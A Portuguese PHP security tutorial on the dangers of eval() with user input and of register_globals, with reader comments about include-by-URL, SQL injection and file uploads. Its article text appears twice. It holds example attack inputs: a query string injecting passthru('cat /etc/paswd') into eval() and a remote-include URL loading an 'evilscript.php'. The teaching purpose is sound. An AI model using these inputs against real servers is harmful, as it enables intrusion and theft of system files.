Principais erros de segurança em códigos PHP
- Seja cuidadoso com eval()
Colocando entradas de usuário dentro da função <em>eval()</em> pode ser extremamente perigoso. Você dá essencialmente a um usuário malicioso a abilidade de executar qualquer comando que ele/ela desejar!
Você pode visualizar a entrada provindo de um objeto menu de opções tipo drop-down que você especificou mas o usuário pode decidir enviar algo como isto:
Colocando seu próprio código na sentença, o usuário pode fazer seu programa exibir o arquivo <em>/etc/passwd</em> completo de seu servidor.
Use <em>eval()</em> o mínimo possível, e por todos os meios, valide os dados do usuário. Ele deverá somente ser usado quando absolutamente necessário – quando há código gerado dinamicamente pelo PHP.
Se você estiver usando ele para substituir templates variáveis dentro de uma string ou substituindo valores de entrada de usuários, então você o está usando pela razão errada.
Tente sprintf() ou um sistema de templates ao invés disso.
- Cuidado quando usar register_globals = ON
Este tem sido a principal discussão desde que esta propriedade foi inventada.
Ela foi originalmente inventada para tornar a programação em PHP mais fácil (e ela o faz), mas o mal uso dela freqüentemente leva a furos de seguranças.
Desde o PHP 4.2.0, register_globals está ajustado em OFF por default. E é recomendado que você use as superglobais para trabalhar com entradas ($_GET, $_POST, $_COOKIE, $_SESSION, etc).
Por exemplo, vamos dizer que você tinha uma variável que especificava uma página a ser incluída:
Porém você deseja que $page seja definida em um arquivo de configuração ou alguma outra coisa em seu script, e não venha de uma entrada do usuário. Em alguma instância você esqueceu de predefinir $page. Se register_globals estiver em ON, o usuário malicioso pode sobrescrevê-la e definir $page por você, simplesmente chamado seu script desta forma:
A recomendação é que se desenvolva com register_globals ajustado em <em>OFF</em>, e usar as superglobias quando acessar dados do usuário. E mais, você deve sempre desenvolver com full error reporting, a qual pode ser especificada desta forma (no topo de seu script):
Desta forma, você irá receber um aviso para cada variável que você tentou chamar e que você não definiu previamente. Sim, PHP não requer que você defina variáveis então poderá haver avisos que você pode ignorar, mas isto irá ajudá-lo a pegar variáveis indefinidas que você espera vir de entrada do usuário ou outras fontes. No exemplo anterior, quando $page foi referenciado na declaração include(), PHP irá avisar que $page não foi definida.
Quando usar ou não <em>register_globals</em> é com você, mas tenha certeza de estar consciente das vantagens e desvantagens dela e como remediar os possíveis furos.
Colocando entradas de usuário dentro da função <em>eval()</em> pode ser extremamente perigoso. Você dá essencialmente a um usuário malicioso a abilidade de executar qualquer comando que ele/ela desejar!
Você pode visualizar a entrada provindo de um objeto menu de opções tipo drop-down que você especificou mas o usuário pode decidir enviar algo como isto:
script.php?input=;passthru("cat /etc/paswd");
Colocando seu próprio código na sentença, o usuário pode fazer seu programa exibir o arquivo <em>/etc/passwd</em> completo de seu servidor.
Use <em>eval()</em> o mínimo possível, e por todos os meios, valide os dados do usuário. Ele deverá somente ser usado quando absolutamente necessário – quando há código gerado dinamicamente pelo PHP.
Se você estiver usando ele para substituir templates variáveis dentro de uma string ou substituindo valores de entrada de usuários, então você o está usando pela razão errada.
Tente sprintf() ou um sistema de templates ao invés disso.
- Cuidado quando usar register_globals = ON
Este tem sido a principal discussão desde que esta propriedade foi inventada.
Ela foi originalmente inventada para tornar a programação em PHP mais fácil (e ela o faz), mas o mal uso dela freqüentemente leva a furos de seguranças.
Desde o PHP 4.2.0, register_globals está ajustado em OFF por default. E é recomendado que você use as superglobais para trabalhar com entradas ($_GET, $_POST, $_COOKIE, $_SESSION, etc).
Por exemplo, vamos dizer que você tinha uma variável que especificava uma página a ser incluída:
<?php include($page); ?>
Porém você deseja que $page seja definida em um arquivo de configuração ou alguma outra coisa em seu script, e não venha de uma entrada do usuário. Em alguma instância você esqueceu de predefinir $page. Se register_globals estiver em ON, o usuário malicioso pode sobrescrevê-la e definir $page por você, simplesmente chamado seu script desta forma:
script.php?page=http://www.example.com/evilscript.php
A recomendação é que se desenvolva com register_globals ajustado em <em>OFF</em>, e usar as superglobias quando acessar dados do usuário. E mais, você deve sempre desenvolver com full error reporting, a qual pode ser especificada desta forma (no topo de seu script):
error_reporting(E_ALL);
Desta forma, você irá receber um aviso para cada variável que você tentou chamar e que você não definiu previamente. Sim, PHP não requer que você defina variáveis então poderá haver avisos que você pode ignorar, mas isto irá ajudá-lo a pegar variáveis indefinidas que você espera vir de entrada do usuário ou outras fontes. No exemplo anterior, quando $page foi referenciado na declaração include(), PHP irá avisar que $page não foi definida.
Quando usar ou não <em>register_globals</em> é com você, mas tenha certeza de estar consciente das vantagens e desvantagens dela e como remediar os possíveis furos.
Parabéns pelo artigo! :-)
31/03/2011 2:13am
(~13 anos atrás)
Por incrível que pareça, já peguei muito código de programador experiente contento estes erros.
Muito bom o seu artigo.
As vezes até eu esqueço essas boas práticas.
Muito bom o seu artigo.
As vezes até eu esqueço essas boas práticas.
17/11/2008 4:36am
(~16 anos atrás)
a ta. Foi isso mesmo que a gente fez aqui. No config.inc.php tem uma autoload que já inclui classes comuns a do framework e instancia tbm classes comuns ao sistema.
Vlw ae... vou ver uma forma de passar isso de outro jeito... tem algum tempo que isso me incomoda de ficar na URL :)
Abcs
Vlw ae... vou ver uma forma de passar isso de outro jeito... tem algum tempo que isso me incomoda de ficar na URL :)
Abcs
13/11/2008 9:09am
(~16 anos atrás)
Isso depende de como está o código de verificação e de include.
O que desaconselho é usar variaveis que apontem para arquivos em um include pois um hacker pode fazer seu sistema apontar para um arquivo dele e dessa forma comprometer seu sistema.
A forma que os frameworks como cake, symfony, phpmvc, etc usam tem a ver com sessao (controller) e acao (metodo).
Dessa forma não tem que dar nenhum include.
Um sistema baseado em Orientação a Objetos a meu modo de ver tem que fazer uso de autoload e ter uma lista de classes válidas a serem instanciadas (disptatcher).
Quanto a estar certo ou errado é ponto de vista mas acho que vc ganharia em segurança se não utiliza-se include por parâmetros via URL.
O que desaconselho é usar variaveis que apontem para arquivos em um include pois um hacker pode fazer seu sistema apontar para um arquivo dele e dessa forma comprometer seu sistema.
A forma que os frameworks como cake, symfony, phpmvc, etc usam tem a ver com sessao (controller) e acao (metodo).
Dessa forma não tem que dar nenhum include.
Um sistema baseado em Orientação a Objetos a meu modo de ver tem que fazer uso de autoload e ter uma lista de classes válidas a serem instanciadas (disptatcher).
Quanto a estar certo ou errado é ponto de vista mas acho que vc ganharia em segurança se não utiliza-se include por parâmetros via URL.
13/11/2008 8:38am
(~16 anos atrás)
Marcos, não entendi o lance que vc falou dos frameworks...
Exemplo, aqui na empresa a gente criou um framework, que funciona mais ou menos do jeito que vc falou. Ex.:
URL:
www.sitetal.com.br/sistema/index.php?t=pedido&a=frm
o parâmetro "t" é o nome da pasta onde fica a página vindo pelo valor de a (ou seja, ele vai procurar se na pasta pedido, existe uma página chamada frm.php). Se tiver ele da o include vai na pasta de classes e instancia a classe class.PEDIDO.php...
Os métodos são chamados na própria página, conforme for preciso. A gente não passa método via URL.
Você acha que essa forma ta errada? Por que estaria? Como posso corrigir isso?
Exemplo, aqui na empresa a gente criou um framework, que funciona mais ou menos do jeito que vc falou. Ex.:
URL:
www.sitetal.com.br/sistema/index.php?t=pedido&a=frm
o parâmetro "t" é o nome da pasta onde fica a página vindo pelo valor de a (ou seja, ele vai procurar se na pasta pedido, existe uma página chamada frm.php). Se tiver ele da o include vai na pasta de classes e instancia a classe class.PEDIDO.php...
Os métodos são chamados na própria página, conforme for preciso. A gente não passa método via URL.
Você acha que essa forma ta errada? Por que estaria? Como posso corrigir isso?
13/11/2008 8:05am
(~16 anos atrás)
Essa sua preocupação tem sentido quando se usa eval() da forma como mencionei no artigo, pois eval executa uma string como código php.
No caso de SQL sim e é o que se chama de SQL injection.
No caso de SQL sim e é o que se chama de SQL injection.
04/11/2008 3:52am
(~16 anos atrás)
Existe por exemplo algum função que é executada mesmo sem eu chama-la??
exemplo se eu pego $_GET['nome'] e faço $nome = $_GET['nome']; e depois disso eu faço os tratamentos de segurança
ai o usuário malicioso digita funcao_maliciosa(); , ele vai guardar isso como uma string ou como uma função??
pq se acontece de $nome = funcao_maliciosa(); ai pode ser que ele consiga dados mas se gravar como string acho que nao faz diferença.
[Na verdade eu tenho quase certeza que isso nao é um problema mas é só pra tirar as dúvidas mesmo]
exemplo se eu pego $_GET['nome'] e faço $nome = $_GET['nome']; e depois disso eu faço os tratamentos de segurança
ai o usuário malicioso digita funcao_maliciosa(); , ele vai guardar isso como uma string ou como uma função??
pq se acontece de $nome = funcao_maliciosa(); ai pode ser que ele consiga dados mas se gravar como string acho que nao faz diferença.
[Na verdade eu tenho quase certeza que isso nao é um problema mas é só pra tirar as dúvidas mesmo]
03/11/2008 4:49pm
(~16 anos atrás)
outro tipo de falha muito comum é com upload de arquivos.
muitos sistemas nao fazem validação do tipo de arquivo enviado, permitindo que arquivos .php, por exemplo, sejam enviados
muitos sistemas nao fazem validação do tipo de arquivo enviado, permitindo que arquivos .php, por exemplo, sejam enviados
30/09/2008 1:27am
(~16 anos atrás)
O codigo javascript pode ser facil e util mas e haqueavel, e quando o meu pc ficou sem java, eu nao acessava os arquivos corretos, entao tive que baixar o FF. Eu recomendo a todos aqui a usarem o PHP, e logo farei outros tutoriais...
16/09/2008 5:51am
(~16 anos atrás)